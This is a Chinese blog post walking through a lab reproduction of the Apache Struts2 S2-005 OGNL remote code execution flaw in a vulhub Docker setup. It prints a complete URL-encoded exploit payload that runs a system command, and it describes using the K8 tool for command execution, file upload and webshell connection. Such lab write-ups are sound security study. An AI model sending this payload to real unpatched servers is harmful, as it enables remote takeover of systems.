Apache Struts2远程代码执行漏洞(s2-005)两种方法复现

一、漏洞简述

漏洞原理:

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上

影响版本:

Struts 2.0.0 - Struts 2.1.8.1

 

二、漏洞复现

1.使用在ubuntu搭建的vulhub漏洞环境

cd /vulhub-master/struts2/s2-005
docker-compose build 
docker-compose up -d                    //运行环境

2.打开http://192.168.187.133:8080/,(其中的ip为你的本地地址),查看运行的漏洞环境

2.插入poc

Poc:

?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

使用burp 或者hackbar 插入poc

 

2.在靶机ubuntu中的docker查看文件

docker ps
docker exec -it e4744ab9bf5a /bin/bash
cd /tmp
ls

成功插入success文件

 

第二种方法  使用K8工具检测利用

  1. 使用K8 连接,.将网站复制到目标处  ,获取网站信息,执行命令
  2. 选择2010 s2-005
  3. 点击获取信息即

 

也可以进行执行命令,文件上传,连接小马,文件管理 等操作

下图是  执行命令操作演示

 

参考链接:

https://blog.csdn.net/qq_29647709/article/details/84949988

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值